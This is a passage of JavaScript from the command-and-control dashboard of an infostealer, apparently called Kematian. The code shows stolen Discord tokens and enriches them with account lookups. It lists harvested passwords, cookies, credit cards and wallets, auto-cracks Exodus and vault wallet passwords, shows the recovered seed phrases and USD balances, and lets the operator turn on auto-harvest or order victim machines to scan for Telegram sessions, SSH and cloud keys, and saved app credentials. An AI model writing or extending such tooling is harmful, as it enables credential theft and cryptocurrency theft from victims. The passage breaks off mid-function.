    sendEvent("fetch_wallet_zip", { path, name });
    log(`Fetching wallet ZIP: ${name || path}`);
  }

  // ── Discord profiles ──────────────────────────────────────────
  function renderDiscordCard(p) {
    const div = document.createElement("div");
    div.className = "dp-card";
    div.dataset.token = p.token || "";
    div.dataset.clientId = p.clientId || "";

    const enriched = !!p.enriched_at && !p.error;
    const tokenHtml = `
      <div class="dp-token-row">
        <span class="dp-token-label">Token</span>
        <span class="dp-token sensitive" title="Click to copy">${esc(p.token || "")}</span>
      </div>`;
    const sourceTs = `${esc(p.source || "")} · ${p.captured_at ? new Date(p.captured_at).toLocaleString() : ""}`;

    if (p.error) {
      div.innerHTML = `
        <div class="dp-card-top">
          <div class="dp-avatar-wrap"><div class="dp-avatar dp-avatar-err">?</div></div>
          <div class="dp-identity">
            <div class="dp-displayname">Lookup failed</div>
            <div class="dp-tag dp-err-msg">${esc(p.error)}</div>
            <div class="dp-created">${sourceTs}</div>
          </div>
        </div>
        ${tokenHtml}
        <div class="dp-actions">
          <button class="btn dp-lookup-btn" data-token="${esc(p.token)}" data-cid="${esc(p.clientId)}">Retry Lookup</button>
        </div>`;
    } else if (!enriched) {
      div.innerHTML = `
        <div class="dp-card-top">
          <div class="dp-avatar-wrap"><div class="dp-avatar dp-avatar-pending">?</div></div>
          <div class="dp-identity">
            <div class="dp-displayname">Not yet looked up</div>
            <div class="dp-created">${sourceTs}</div>
          </div>
        </div>
        ${tokenHtml}
        <div class="dp-actions">
          <button class="btn dp-lookup-btn" data-token="${esc(p.token)}" data-cid="${esc(p.clientId)}">Lookup</button>
        </div>`;
    } else {
      const created = discordSnowflakeDate(p.user_id);
      const avatarUrl = discordAvatarUrl(p.user_id, p.avatar);
      const displayName = p.global_name || p.username || "—";
      const tag = p.username
        ? (p.discriminator && p.discriminator !== "0" ? `${p.username}#${p.discriminator}` : p.username)
        : "—";
      const allFlags = (p.flags || 0) | (p.public_flags || 0);
      const badges = dpBadgesHtml(allFlags) + dpNitroHtml(p.premium_type);
      const avatarHtml = avatarUrl
        ? `<img class="dp-avatar" src="${esc(avatarUrl)}" alt="" loading="lazy" />`
        : `<div class="dp-avatar dp-avatar-default">${esc((displayName[0] || "?").toUpperCase())}</div>`;
      const check = "✓", cross = "✕";

      div.innerHTML = `
        <div class="dp-card-top">
          <div class="dp-avatar-wrap">${avatarHtml}</div>
          <div class="dp-identity">
            <div class="dp-displayname">${esc(displayName)}</div>
            <div class="dp-tag">${esc(tag)}</div>
            <div class="dp-created">${created ? "Created " + created.toLocaleDateString() : ""} · ${esc(p.locale || "")} · ${esc(p.source || "")}</div>
          </div>
          <div class="dp-badges-col">${badges}</div>
        </div>
        <div class="dp-stats-row">
          <div class="dp-stat"><span class="dp-stat-val">${p.friends_count != null ? p.friends_count : "—"}</span><span class="dp-stat-lbl">Friends</span></div>
          <div class="dp-stat"><span class="dp-stat-val">${p.guilds_count != null ? p.guilds_count : "—"}</span><span class="dp-stat-lbl">Servers</span></div>
          <div class="dp-stat"><span class="dp-stat-val">${p.mfa_enabled ? check : cross}</span><span class="dp-stat-lbl">2FA</span></div>
          <div class="dp-stat"><span class="dp-stat-val">${p.phone ? check : cross}</span><span class="dp-stat-lbl">Phone</span></div>
          <div class="dp-stat"><span class="dp-stat-val">${p.verified ? check : cross}</span><span class="dp-stat-lbl">Email ver.</span></div>
        </div>
        ${p.email ? `<div class="dp-detail-row"><span class="dp-detail-lbl">Email</span><span class="dp-detail-val">${esc(p.email)}</span></div>` : ""}
        ${p.guild_names ? `<div class="dp-detail-row dp-guilds"><span class="dp-detail-lbl">Servers</span><span class="dp-detail-val dp-guild-list">${esc(p.guild_names.split("|").join(", "))}</span></div>` : ""}
        ${tokenHtml}
        <div class="dp-actions">
          <button class="btn dp-lookup-btn" data-token="${esc(p.token)}" data-cid="${esc(p.clientId)}">Re-lookup</button>
          ${p.user_id ? `<span class="dp-uid">ID: ${esc(p.user_id)}</span>` : ""}
        </div>`;
    }

    const tokenEl = div.querySelector(".dp-token");
    if (tokenEl) {
      tokenEl.addEventListener("click", () => {
        navigator.clipboard.writeText(p.token || "").catch(() => {});
        tokenEl.classList.add("copied-flash");
        setTimeout(() => tokenEl.classList.remove("copied-flash"), 600);
      });
    }
    return div;
  }

  async function loadDiscordProfiles() {
    if (!discordViewEl || discordViewEl.style.display === "none") return;
    try {
      const p = {};
      if (!isGlobal && clientId) p.clientId = clientId;
      else if (isGlobal && activeClient !== "all") p.clientId = activeClient;
      const q = searchEl.value.trim();
      if (q) p.search = q;
      const result = await rpc("list_discord_profiles", p);
      dpGrid.innerHTML = "";
      if (!result.rows.length) {
        dpGrid.innerHTML = '<div class="no-rows">No Discord tokens captured yet.</div>';
      } else {
        for (const row of result.rows) dpGrid.appendChild(renderDiscordCard(row));
      }
      rowCount.textContent = `${result.total.toLocaleString()} ${result.total === 1 ? "token" : "tokens"}`;
    } catch (e) {
      log(`Discord profiles error: ${e.message}`);
    }
  }

  // ── Wallet card view ───────────────────────────────────────────
  function renderWalletCard(w) {
    const div = document.createElement("div");
    div.className = "wl-card";
    const isExt = w.type === "extension";
    const iconClass = isExt ? "wl-icon-ext" : "wl-icon-desk";
    const typeClass = isExt ? "wl-type-ext" : "wl-type-desk";
    const typeLabel = isExt ? "Extension" : "Desktop";
    const icon = isExt ? "\u{1F9E9}" : "\u{1F4B0}";

    const addrs = w.addresses || [];
    const balKey = w.name;
    const bals = walletBalances[balKey] || {};
    const crackResult = walletCrackResults[balKey];

    let addrsHtml = "";
    if (addrs.length > 0) {
      addrsHtml = `<div class="wl-addrs">${addrs.map(a =>
        `<span class="wl-addr" title="Click to copy">${esc(a)}</span>`
      ).join("")}</div>`;
    }

    let balHtml = "";
    const balEntries = Object.entries(bals);
    if (balEntries.length > 0) {
      balHtml = `<div class="wl-balances">${balEntries.map(([chain, bal]) => {
        const isZero = bal === 0;
        const cls = isZero ? "wl-bal-chip wl-bal-chip-zero" : "wl-bal-chip";
        const val = isZero ? "0" : bal < 0.0001 ? bal.toExponential(2) : bal.toFixed(4);
        return `<span class="${cls}">${esc(chain)}: ${val}</span>`;
      }).join("")}</div>`;
    }

    let crackHtml = "";
    if (crackResult) {
      if (crackResult.warning) {
        crackHtml += `<div class="wl-crack-warning">${esc(crackResult.warning)}</div>`;
      }
      if (crackResult.cracked) {
        // USD total banner
        let usdHtml = "";
        if (crackResult.usdTotal !== undefined) {
          if (crackResult.usdTotal > 0) {
            usdHtml = `<div class="wl-usd-total">$${crackResult.usdTotal.toFixed(2)}</div>`;
          } else {
            usdHtml = `<div class="wl-usd-total wl-usd-zero">$0.00</div>`;
          }
        }

        // Balances per asset
        let balHtml = "";
        if (crackResult.balances) {
          const entries = Object.entries(crackResult.balances).filter(([,v]) => v > 0);
          if (entries.length) {
            balHtml = `<div class="wl-bal-row">${entries.map(([chain, val]) =>
              `<span class="wl-bal-chip"><b>${esc(chain)}</b> ${val < 0.0001 ? val.toExponential(2) : val.toFixed(6)}</span>`
            ).join("")}</div>`;
          } else {
            balHtml = `<div class="wl-bal-row"><span class="wl-bal-chip wl-bal-chip-zero">No balances found</span></div>`;
          }
        }

        // Addresses
        let addrsHtml = "";
        if (crackResult.addresses?.length) {
          addrsHtml = `<div class="wl-accounts">${crackResult.addresses.map(a => {
            const label = a.chain || "ETH";
            const addr = a.address || a;
            return `<span class="wl-account" title="Click to copy">${esc(label)}: ${esc(addr)}</span>`;
          }).join("")}</div>`;
        }
        if (crackResult.accounts?.length) {
          addrsHtml += `<div class="wl-accounts">${(crackResult.accounts || []).map(a => {
            if (a.mnemonic) return `<div class="wl-mnemonic" title="Click to copy seed phrase">${esc(a.mnemonic)}</div>`;
            return `<span class="wl-account" title="Click to copy">${esc(a.type)}: ${esc(a.address)}</span>`;
          }).join("")}</div>`;
        }

        // Mnemonic
        let mnemonicHtml = "";
        if (crackResult.mnemonic) {
          mnemonicHtml = `<div class="wl-mnemonic" title="Click to copy seed phrase">${esc(crackResult.mnemonic)}</div>`;
        }

        crackHtml += `
          <div class="wl-crack-result">
            Cracked! Password: <span class="wl-crack-pw">${esc(crackResult.password)}</span>
          </div>
          ${usdHtml}
          ${balHtml}
          ${addrsHtml}
          ${mnemonicHtml}
          ${crackResult.mnemonic && !crackResult.balances ? `<button class="btn wl-check-bal-btn" data-wallet="${esc(w.name)}">Check Balances</button>` : ""}`;
      } else {
        crackHtml += `<div class="wl-crack-result wl-crack-fail">No password matched (${crackResult.tried} tried)</div>`;
      }
    }

    div.innerHTML = `
      <div class="wl-card-top">
        <div class="wl-icon ${iconClass}">${icon}</div>
        <div class="wl-identity">
          <div class="wl-name">${esc(w.name)}</div>
          <div class="wl-meta">
            <span class="wl-type-badge ${typeClass}">${typeLabel}</span>
            <span>${w.files || 0} files · ${humanSize(w.size || 0)}</span>
          </div>
        </div>
      </div>
      ${crackHtml}
      <div class="wl-actions">
        ${w.hasVault && !crackResult ? `<button class="btn wl-crack-btn" data-wallet="${esc(w.name)}" data-crack-type="vault">Crack Vault</button>` : ""}
        ${!w.hasVault && w.downloaded && !crackResult ? `<button class="btn wl-crack-btn" data-wallet="${esc(w.name)}" data-crack-type="desktop">Crack Wallet</button>` : ""}
        ${w.dataId ? `<button class="btn wl-dl-btn" data-id="${w.dataId}" data-name="${esc(w.name)}">Download ZIP</button>` : ""}
        ${w.downloaded ? `<span class="wl-downloaded">Auto-downloaded</span>` : ""}
      </div>`;

    div.querySelectorAll(".wl-addr, .wl-account").forEach(el => {
      el.addEventListener("click", () => {
        navigator.clipboard.writeText(el.textContent.replace(/^[^:]+:\s*/, "")).catch(() => {});
        el.classList.add("copied-flash");
        setTimeout(() => el.classList.remove("copied-flash"), 600);
      });
    });
    div.querySelectorAll(".wl-mnemonic").forEach(el => {
      el.addEventListener("click", () => {
        navigator.clipboard.writeText(el.textContent).catch(() => {});
        el.classList.add("copied-flash");
        setTimeout(() => el.classList.remove("copied-flash"), 600);
      });
    });

    return div;
  }

  async function loadWalletCards() {
    if (!walletViewEl || walletViewEl.style.display === "none") return;
    const cid = isGlobal ? (activeClient !== "all" ? activeClient : null) : clientId;

    if (!cid) {
      wlGrid.innerHTML = '<div class="no-rows">Select a client to view wallet details.</div>';
      rowCount.textContent = "0 wallets";
      return;
    }

    try {
      const [tableResult, dataResult] = await Promise.all([
        rpc("list_wallets", { clientId: cid }),
        rpc("list_wallet_data", { clientId: cid }),
      ]);

      const dataMap = {};
      for (const d of dataResult.rows) {
        dataMap[d.name] = d;
      }

      const wallets = tableResult.rows.map(w => {
        const d = dataMap[w.name];
        return {
          ...w,
          addresses: d?.addresses || [],
          hasVault: d?.hasVault || false,
          downloaded: !!d,
          dataId: d?.id || null,
        };
      });

      wlGrid.innerHTML = "";
      if (!wallets.length) {
        wlGrid.innerHTML = '<div class="no-rows">No wallets found for this client.</div>';
      } else {
        for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
      }
      rowCount.textContent = `${wallets.length} wallet${wallets.length !== 1 ? "s" : ""}`;

      // Load previously cracked seeds from DB
      try {
        const savedSeeds = await rpc("get_wallet_seeds", { clientId: cid });
        for (const [name, seed] of Object.entries(savedSeeds || {})) {
          if (!walletCrackResults[name]) {
            walletCrackResults[name] = { cracked: true, password: "(saved)", mnemonic: seed.mnemonic, addresses: seed.addresses };
          }
        }
      } catch (e) { log(`get_wallet_seeds error: ${e.message}`); }

      // For wallets with saved seeds, just refresh balances; crack the rest
      const balanceJobs = [];
      const crackJobs = [];
      for (const w of wallets) {
        const name = w.name;
        const existing = walletCrackResults[name];
        if (existing?.cracked && existing.mnemonic) {
          balanceJobs.push(name);
          continue;
        }
        if (existing) continue;
        const isDesktop = !w.hasVault && w.downloaded;
        const isVault = w.hasVault;
        if (isDesktop || isVault) crackJobs.push({ name, method: isDesktop ? "crack_exodus" : "crack_vault" });
      }

      // Refresh balances for already-cracked wallets (in parallel)
      if (balanceJobs.length) {
        Promise.all(balanceJobs.map(async (name) => {
          try {
            const cr = walletCrackResults[name];
            const balResult = await rpc("check_cracked_balances", { mnemonic: cr.mnemonic });
            walletCrackResults[name] = { ...cr, balances: balResult.totals, usdTotal: balResult.usdTotal, addresses: balResult.addresses || cr.addresses };
            if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`);
          } catch (e) { log(`Balance refresh ${name} error: ${e.message}`); }
        })).then(() => {
          wlGrid.innerHTML = "";
          for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
        });
      }

      // Auto-crack wallets that haven't been cracked yet
      for (const { name, method } of crackJobs) {
        try {
          const result = await rpc(method, { clientId: cid, walletName: name });
          walletCrackResults[name] = result;
          if (result.cracked) {
            log(`Auto-cracked ${name}! Password: ${result.password}`);
            if (result.mnemonic) {
              const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic });
              walletCrackResults[name] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal };
              if (balResult.usdTotal > 0) log(`${name}: $${balResult.usdTotal.toFixed(2)} total value`);
              else log(`${name}: no balances found`);
            }
          } else {
            log(`Auto-crack ${name}: no password matched (${result.tried} tried)`);
          }
        } catch (err) {
          log(`Auto-crack ${name} error: ${err.message}`);
        }
      }
      // Re-render cards with crack results
      if (wallets.some(w => walletCrackResults[w.name])) {
        wlGrid.innerHTML = "";
        for (const w of wallets) wlGrid.appendChild(renderWalletCard(w));
      }
    } catch (e) {
      log(`Wallet cards error: ${e.message}`);
    }
  }

  // ── Settings (auto-harvest) ───────────────────────────────────
  function buildAutoStartEvents(files, ext) {
    const events = [{ event: "collect", payload: { browsers: true } }];
    if (files) events.push({ event: "scan_files", payload: {} });
    if (ext) events.push({ event: "scan_extensions", payload: {} });
    return events;
  }

  async function fetchAutoHarvestState() {
    if (!autoHarvestToggle) return;
    try {
      const res = await fetch("/api/plugins");
      if (!res.ok) return;
      const data = await res.json();
      const pluginCfg = (data.plugins || []).find(p => p.id === PLUGIN_ID);
      if (!pluginCfg) return;
      const enabled = !!pluginCfg.autoLoad;
      const events = pluginCfg.autoStartEvents || [];
      applySettingsUI(enabled, events.some(e => e.event === "scan_files"), events.some(e => e.event === "scan_extensions"));
    } catch (_) {}
  }

  function applySettingsUI(enabled, files, ext) {
    if (!autoHarvestToggle) return;
    autoHarvestToggle.checked = enabled;
    autoFilesToggle.disabled = !enabled;
    autoFilesToggle.checked = files;
    if (autoExtToggle) {
      autoExtToggle.disabled = !enabled;
      autoExtToggle.checked = ext;
    }
    const filesRow = $("ah-files-row");
    const extRow = $("ah-ext-row");
    if (filesRow) filesRow.style.opacity = enabled ? "1" : "0.5";
    if (extRow) extRow.style.opacity = enabled ? "1" : "0.5";
  }

  async function saveSettings() {
    if (!settingsStatus) return;
    settingsStatus.textContent = "Saving…";
    const enabled = autoHarvestToggle.checked;
    const files = autoFilesToggle.checked;
    const ext = autoExtToggle ? autoExtToggle.checked : false;
    try {
      const body = {
        autoLoad: enabled,
        autoStartEvents: enabled ? buildAutoStartEvents(files, ext) : [],
      };
      const res = await fetch(`/api/plugins/${PLUGIN_ID}/autoload`, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify(body),
      });
      const data = await res.json();
      if (!data.ok) throw new Error(data.error || "failed");
      settingsStatus.textContent = enabled ? "Auto-harvest enabled" : "Auto-harvest disabled";
      applySettingsUI(enabled, files, ext);
    } catch (e) {
      settingsStatus.textContent = `Error: ${e.message}`;
    }
    setTimeout(() => { if (settingsStatus) settingsStatus.textContent = ""; }, 2500);
  }

  function initSettings(isAdmin) {
    if (!settingsCard) return;
    settingsCard.style.display = "";

    if (!isAdmin) {
      if (settingsAdminMsg) settingsAdminMsg.style.display = "";
      if (settingsGrid) settingsGrid.classList.add("disabled");
      if (autoHarvestToggle) autoHarvestToggle.disabled = true;
      if (autoFilesToggle) autoFilesToggle.disabled = true;
      if (autoExtToggle) autoExtToggle.disabled = true;
      fetchAutoHarvestState();
      return;
    }

    if (autoHarvestToggle) autoHarvestToggle.addEventListener("change", saveSettings);
    if (autoFilesToggle) autoFilesToggle.addEventListener("change", saveSettings);
    if (autoExtToggle) autoExtToggle.addEventListener("change", saveSettings);
    fetchAutoHarvestState();
  }

  // ── Global mode ───────────────────────────────────────────────
  async function loadGlobalStats() {
    try {
      knownClients = await rpc("get_stats");
      renderClientsCard();
      buildCfilts();
      buildTabs();

      const total = (key) => knownClients.reduce((s, c) => s + (c[key] || 0), 0);
      const sep = `<span class="gstat-sep"> · </span>`;
      globalStats.innerHTML = [
        `<strong>${knownClients.length}</strong> client${knownClients.length !== 1 ? "s" : ""}`,
        `<strong>${total("passwords").toLocaleString()}</strong> passwords`,
        `<strong>${total("cookies").toLocaleString()}</strong> cookies`,
        `<strong>${total("creditCards").toLocaleString()}</strong> cards`,
        `<strong>${total("discordTokens").toLocaleString()}</strong> Discord tokens`,
        `<strong>${total("extensions").toLocaleString()}</strong> extensions`,
        `<strong>${total("wallets").toLocaleString()}</strong> wallets`,
      ].map(s => `<span class="gstat">${s}</span>`).join(sep);

      exportAllBtn.disabled = knownClients.length === 0;
      loadSummary();
    } catch (e) { log(`Stats error: ${e.message}`); }
  }

  let summaryData = [];
  let summaryWalletResults = {};

  async function loadSummary() {
    if (!summaryCard || !summaryGrid) return;
    try {
      summaryData = await rpc("get_summary");
      if (!summaryData.length) { summaryCard.style.display = "none"; return; }
      summaryCard.style.display = "";
      renderSummary();

      // Load saved seeds for all clients, then only refresh balances or crack new ones
      const balanceRefreshJobs = [];
      const crackJobs = [];
      for (const c of summaryData) {
        let savedSeeds = {};
        try { savedSeeds = await rpc("get_wallet_seeds", { clientId: c.clientId }); } catch (e) { log(`get_wallet_seeds ${c.clientId} error: ${e.message}`); }
        const vaults = new Set(c.walletVaults || []);
        for (const name of c.walletDownloaded || []) {
          const key = `${c.clientId}:${name}`;
          // Populate from saved seeds
          if (!summaryWalletResults[key] && savedSeeds[name]) {
            summaryWalletResults[key] = { cracked: true, password: "(saved)", mnemonic: savedSeeds[name].mnemonic, addresses: savedSeeds[name].addresses };
          }
          if (summaryWalletResults[key]?.cracked && summaryWalletResults[key]?.mnemonic) {
            balanceRefreshJobs.push({ key, mnemonic: summaryWalletResults[key].mnemonic });
            continue;
          }
          if (summaryWalletResults[key]) continue;
          const method = vaults.has(name) ? "crack_vault" : "crack_exodus";
          crackJobs.push({ key, clientId: c.clientId, name, method });
        }
      }

      // Refresh balances for already-cracked wallets in parallel
      if (balanceRefreshJobs.length) {
        Promise.all(balanceRefreshJobs.map(async ({ key, mnemonic }) => {
          try {
            const balResult = await rpc("check_cracked_balances", { mnemonic });
            summaryWalletResults[key] = { ...summaryWalletResults[key], balances: balResult.totals, usdTotal: balResult.usdTotal };
          } catch (e) { log(`Summary balance refresh error: ${e.message}`); }
        })).then(() => renderSummary());
      }

      // Crack wallets that don't have saved seeds
      for (const { key, clientId: cid, name, method } of crackJobs) {
        try {
          const result = await rpc(method, { clientId: cid, walletName: name });
          summaryWalletResults[key] = result;
          if (result.cracked && result.mnemonic) {
            const balResult = await rpc("check_cracked_balances", { mnemonic: result.mnemonic });
            summaryWalletResults[key] = { ...result, balances: balResult.totals, usdTotal: balResult.usdTotal };
          }
        } catch (e) { log(`Summary crack ${name} (${method}) error: ${e.message}`); }
      }
      renderSummary();
    } catch (e) { log(`Summary error: ${e.message}`); }
  }

  function renderSummary() {
    if (!summaryGrid) return;
    let totalUsd = 0;
    const cards = [];

    for (const c of summaryData) {
      let clientUsd = 0;
      const walletInfo = [];
      for (const name of c.walletNames || []) {
        const key = `${c.clientId}:${name}`;
        const cr = summaryWalletResults[key];
        if (cr?.cracked) {
          clientUsd += cr.usdTotal || 0;
          walletInfo.push({ name, cracked: true, usdTotal: cr.usdTotal || 0, password: cr.password });
        } else if (cr && !cr.cracked) {
          walletInfo.push({ name, cracked: false, tried: cr.tried });
        } else {
          walletInfo.push({ name, pending: true });
        }
      }
      totalUsd += clientUsd;
      cards.push({ client: c, clientUsd, walletInfo });
    }

    if (summaryTotals) {
      summaryTotals.innerHTML = `
        <span class="summary-usd">${totalUsd > 0 ? "$" + totalUsd.toFixed(2) : "$0.00"}</span>
        <span class="summary-meta">${summaryData.length} client${summaryData.length !== 1 ? "s" : ""} · ${Object.keys(summaryWalletResults).length} wallets checked</span>
      `;
    }

    summaryGrid.innerHTML = "";
    for (const { client: c, clientUsd, walletInfo } of cards) {
      const div = document.createElement("div");
      div.className = "summary-client-card";

      const walletsHtml = walletInfo.map(w => {
        if (w.cracked) {
          return `<span class="summary-wallet cracked" title="Password: ${esc(w.password)}">${esc(w.name)} <b>$${w.usdTotal.toFixed(2)}</b></span>`;
        } else if (w.pending) {
          return `<span class="summary-wallet pending">${esc(w.name)}</span>`;
        } else {
          return `<span class="summary-wallet failed">${esc(w.name)} (${w.tried} tried)</span>`;
        }
      }).join("");

      div.innerHTML = `
        <div class="summary-client-top">
          <span class="client-id-badge" title="${esc(c.clientId)}">${esc(shortId(c.clientId))}</span>
          <span class="summary-client-usd">${clientUsd > 0 ? "$" + clientUsd.toFixed(2) : ""}</span>
        </div>
        <div class="summary-client-counts">
          <span>${(c.passwords || 0).toLocaleString()} pw</span>
          <span>${(c.cookies || 0).toLocaleString()} cookies</span>
          <span>${(c.creditCards || 0).toLocaleString()} cards</span>
          <span>${(c.discordTokens || 0).toLocaleString()} discord</span>
          <span>${(c.wallets || 0)} wallets</span>
        </div>
        ${walletsHtml ? `<div class="summary-wallets">${walletsHtml}</div>` : ""}
      `;
      summaryGrid.appendChild(div);
    }
  }

  async function loadGlobalTab() {
    const tab = TABS.find(t => t.id === activeTab);
    if (!tab?.rpc) return;

    if (!tabData[tab.key]) tabData[tab.key] = { rows: [], total: 0, offset: 0 };
    const { offset } = tabData[tab.key];

    const p = { limit: PAGE_SIZE, offset };
    const search = searchEl.value.trim();
    if (search) p.search = search;
    if (activeClient !== "all") p.clientId = activeClient;
    if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser"))
      p.browser = activeBrowser;

    try {
      const result = await rpc(tab.rpc, p);
      tabData[tab.key] = { rows: result.rows, total: result.total, offset };
      buildTabs();
      renderTable();
    } catch (e) { log(`Load error (${tab.label}): ${e.message}`); }
  }

  function renderClientsCard() {
    if (!clientsList) return;
    if (knownClients.length === 0) { clientsCard.style.display = "none"; return; }
    clientsCard.style.display = "";
    clientsList.innerHTML = "";
    const frag = document.createDocumentFragment();
    for (const c of knownClients) {
      const div = document.createElement("div");
      div.className = "client-item";
      const ts = c.lastCapturedAt ? new Date(c.lastCapturedAt).toLocaleString() : "—";
      div.innerHTML = `
        <div class="client-item-header">
          <span class="client-id-badge" title="${esc(c.clientId)}">${esc(shortId(c.clientId))}</span>
          <span class="client-ts">${esc(ts)}</span>
        </div>
        <div class="client-counts">
          <span class="client-count">${(c.passwords || 0).toLocaleString()} pw</span>
          <span class="client-count">${(c.cookies || 0).toLocaleString()} cookies</span>
          <span class="client-count">${(c.creditCards || 0).toLocaleString()} cards</span>
          <span class="client-count">${(c.discordTokens || 0).toLocaleString()} discord</span>
          <span class="client-count">${(c.files || 0).toLocaleString()} files</span>
          <span class="client-count">${(c.extensions || 0).toLocaleString()} extensions</span>
        </div>
        <div class="client-item-actions">
          <button class="btn" data-action="view-client" data-id="${esc(c.clientId)}">View</button>
          <button class="btn btn-danger-sm" data-action="del-client" data-id="${esc(c.clientId)}">Delete</button>
        </div>`;
      frag.appendChild(div);
    }
    clientsList.appendChild(frag);
  }

  function startSSE() {
    const sse = new EventSource(`/api/plugins/${PLUGIN_ID}/stream`);
    window.__kematianSSE = sse;

    sse.addEventListener("harvest_update", async (e) => {
      const { clientId: cid } = JSON.parse(e.data);
      log(`Harvest update from ${shortId(cid)}`);
      await loadGlobalStats();
      if (activeTab === "__search__") await loadSearchAll();
      else if (activeTab === "discord") await loadDiscordProfiles();
      else await loadGlobalTab();
    });

    sse.addEventListener("seed_update", async (e) => {
      const { clientId: cid, count } = JSON.parse(e.data);
      log(`Seed scan: ${count} phrases found from ${shortId(cid)}`);
      if (activeTab === "seeds") await loadGlobalTab();
    });

    sse.addEventListener("wallet_data_update", async () => {
      if (activeTab === "wallets") await loadWalletCards();
    });

    sse.addEventListener("client_deleted", async (e) => {
      const { clientId: cid } = JSON.parse(e.data);
      if (activeClient === cid) activeClient = "all";
      delete tabData[TABS.find(t => t.id === activeTab)?.key];
      await loadGlobalStats();
      renderTable();
    });

    sse.addEventListener("cleared", () => {
      knownClients = []; tabData = {}; activeClient = "all";
      clientsCard.style.display = "none";
      exportAllBtn.disabled = true;
      globalStats.innerHTML = `<span class="gstat"><strong>0</strong> clients</span>`;
      buildCfilts(); buildTabs(); renderTable();
      if (pagBar) pagBar.style.display = "none";
      log("All data cleared");
    });
  }

  async function initGlobalMode() {
    clientCard.style.display = "none";
    globalCard.style.display = "";
    dataCard.style.display = "";
    $("sub-title").textContent = "Global harvest view — all clients";

    buildTabs();
    buildBfilts();
    startSSE();

    const rolePromise = fetchUserRole();

    if (pagPrev) pagPrev.addEventListener("click", () => {
      const tab = TABS.find(t => t.id === activeTab);
      if (!tab?.key || !tabData[tab.key]) return;
      tabData[tab.key].offset = Math.max(0, tabData[tab.key].offset - PAGE_SIZE);
      loadGlobalTab();
    });
    if (pagNext) pagNext.addEventListener("click", () => {
      const tab = TABS.find(t => t.id === activeTab);
      if (!tab?.key || !tabData[tab.key]) return;
      const td = tabData[tab.key];
      if (td.offset + td.rows.length < td.total) { td.offset += PAGE_SIZE; loadGlobalTab(); }
    });

    clientsList.addEventListener("click", async (e) => {
      const btn = e.target.closest("[data-action]");
      if (!btn) return;
      const { action, id } = btn.dataset;
      if (action === "view-client") {
        activeClient = id;
        const tab = TABS.find(t => t.id === activeTab);
        if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0;
        buildCfilts(); buildTabs();
        await loadGlobalTab();
        dataCard.scrollIntoView({ behavior: "smooth" });
      } else if (action === "del-client") {
        if (!confirm(`Delete all harvested data for client ${shortId(id)} (${id})?`)) return;
        try {
          await rpc("delete_client", { clientId: id });
          log(`Deleted ${shortId(id)}`);
          knownClients = knownClients.filter(c => c.clientId !== id);
          if (activeClient === id) activeClient = "all";
          for (const t of TABS)
            if (tabData[t.key]) tabData[t.key].rows = tabData[t.key].rows.filter(r => r.clientId !== id);
          renderClientsCard(); buildCfilts(); buildTabs(); renderTable();
          loadGlobalStats();
        } catch (err) { log(`Delete error: ${err.message}`); }
      }
    });

    refreshBtn.addEventListener("click", async () => {
      log("Refreshing…");
      await loadGlobalStats();
      if (activeTab === "__search__") await loadSearchAll();
      else await loadGlobalTab();
    });

    exportAllBtn.addEventListener("click", async () => {
      try {
        log("Exporting all data…");
        const results = await Promise.all(TABS.map(t => rpc(t.rpc, { limit: 0 })));
        const allData = {};
        TABS.forEach((t, i) => { allData[t.key] = results[i].rows; });
        const blob = new Blob([JSON.stringify(allData, null, 2)], { type: "application/json" });
        const a = document.createElement("a");
        a.href = URL.createObjectURL(blob);
        a.download = `kematian-global-${Date.now()}.json`;
        a.click();
        URL.revokeObjectURL(a.href);
        log("Export complete");
      } catch (err) { log(`Export error: ${err.message}`); }
    });

    clearAllBtn.addEventListener("click", async () => {
      if (!confirm("Delete ALL harvested data from ALL clients?\n\nThis cannot be undone.")) return;
      try {
        await rpc("delete_all", {});
        knownClients = []; tabData = {}; activeClient = "all";
        clientsCard.style.display = "none";
        exportAllBtn.disabled = true;
        globalStats.innerHTML = `<span class="gstat"><strong>0</strong> clients</span>`;
        if (pagBar) pagBar.style.display = "none";
        buildCfilts(); buildTabs(); renderTable();
        log("All data cleared");
      } catch (err) { log(`Clear error: ${err.message}`); }
    });

    log("Global view — Kematian");
    const [role] = await Promise.all([
      rolePromise,
      loadGlobalStats().then(() => loadGlobalTab()),
    ]);
    userRole = role;
    initSettings(userRole === "admin");
  }

  // ── Per-client mode ───────────────────────────────────────────
  function initClientMode() {
    clientIdEl.value = clientId;
    globalCard.style.display = "none";
    clientsCard.style.display = "none";
    if (settingsCard) settingsCard.style.display = "none";
    cfiltsEl.style.display = "none";
    if (pagBar) pagBar.style.display = "none";
    buildTabs();
    buildBfilts();

    collectBtn.addEventListener("click", () => {
      collectBtn.disabled = true;
      log("Starting collection…");
      sendEvent("collect", { browsers: true });
    });
    scanFilesBtn.addEventListener("click", () => {
      scanFilesBtn.disabled = true;
      log("Scanning files…");
      sendEvent("scan_files", {});
    });
    scanExtBtn.addEventListener("click", () => {
      scanExtBtn.disabled = true;
      log("Scanning extensions…");
      sendEvent("scan_extensions", {});
    });
    scanWalletsBtn.addEventListener("click", () => {
      scanWalletsBtn.disabled = true;
      log("Scanning wallets…");
      sendEvent("scan_wallets", {});
    });
    scanTgBtn.addEventListener("click", () => {
      scanTgBtn.disabled = true;
      log("Scanning Telegram sessions…");
      sendEvent("scan_telegram", {});
    });
    scanKeysBtn.addEventListener("click", () => {
      scanKeysBtn.disabled = true;
      log("Scanning SSH & cloud keys…");
      sendEvent("scan_keys", {});
    });
    scanAppsBtn.addEventListener("click", () => {
      scanAppsBtn.disabled = true;
      log("Scanning app credentials (RDP, WinSCP, PuTTY, FileZilla, WiFi…)");
      sendEvent("scan_apps", {});
    });
    pingBtn.addEventListener("click", () => { log("Ping sent"); sendEvent("ping", {}); });
    exportBtn.addEventListener("click", () => {
      if (!lastResults) return;
      const blob = new Blob([JSON.stringify(lastResults, null, 2)], { type: "application/json" });
      const a = document.createElement("a");
      a.href = URL.createObjectURL(blob);
      a.download = `kematian-${clientId}-${Date.now()}.json`;
      a.click();
      URL.revokeObjectURL(a.href);
      log("Exported results");
    });

    const eventDispatch = {
      ready(payload) {
        statusDot.className = "dot dot-on";
        statusText.textContent = "Connected";
